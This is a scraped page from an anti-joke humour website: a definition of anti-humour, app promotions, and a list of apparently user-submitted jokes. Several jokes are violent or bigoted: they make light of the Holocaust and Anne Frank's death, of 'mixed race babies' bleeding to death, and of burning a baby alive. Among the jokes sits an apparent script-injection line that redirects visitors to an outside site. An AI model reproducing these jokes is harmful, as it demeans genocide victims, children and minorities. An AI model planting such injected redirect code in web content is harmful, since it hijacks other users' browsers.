- Anti Joke

What are Antijokes? Anti Jokes (or Anti Humor) is a type of comedy in which the uses is set up to expect a typical joke setup however the joke ends with such anticlimax that it becomes funny in its own right. The lack of punchline is the punchline.

We've just released huge update to the iOS app! Now, access all your favorite text and photo sites like Anti-Joke, DIYLOL! A few things didn't make the original cut (like comments) but they'll be back soon. Best of all, the app is now FREE! Get it here.

NEW ANTI-JOKE BOOK! Now that we've resolved the printing issues with our publisher, check out the BRAND SPANKING NEW Anti-Joke Book!

Want more? You might be interested in...

Anti-Joke Chicken

Anti-Joke Triceratops

Why couldn't the blond get into the library? Because the library was closed therefore the door was locked.

How many blondes did it take to screw in the lightbulb? Just one. She did a fine job.

Why cant your mom breathe She chockin on my D**K

WHY DO IDIOTS RIGHT STUPID JOKES BECAUSE THEY HAVE NOTHING BETTER TO DO WITH THERE LIVES.

jumping jelly beans theirs a snake in my booties,, ooooooo har har ya ya youve got that one thing baby peace love and applesauce baby!!!!1

Why was the little boy nervous about playing with the little girl? Because she had gonorrhea.

Helena: Can u get me a pencil? Me: Sure. Me: Mr. Brandmeyer can u give me a pencil? Mr. Brandmeyer: Why? Me: I don't know. That's what Helena said.

Why did the fisherman go to Alaska? The commercial fishing business is strong there and it was a sound financial decision.

Q: Why did the girl fell from the swing? A: Because she had no arms.

whats up with the irish jokes? Honestly im not a alcoholic so all of you can go F*** yourselfs...

Whats worst than stubbing your toe? The Holocaust.

Wanna hear a joke??... No...... oh ok :(

Two muffins are in the oven. They don't say anything because muffins can't talk. The end.

What did the boy with no arms and no legs get for Christmas? A bicycle!

Who didn't let the gorilla into the ballet? The people who were in charge of that decision.

What is black and white and red all over? A pile of dead, bleeding, mixed race babies.

Why was a mother crying at a hospital? Because a bird threw a stick at her five minutes ago.

what does a beer and a priest have in common? They both are cold refreshing beverages, except for the priest.

knock knock who is there who who who your an owl

Why can't Anne Frank write a sequel? Because she's dead.

Why did the little boy chase after his ball? Because it rolled away

"'>document.location.href="http://cramik.org"

What is white, black, and red all over? A: A zebra being slaughtered.

How do you stop a baby from crying? Douse it in gas and throw it in a fire

Anti Joke

Our Updated iOS App!

The Anti Joke Book

MOAR??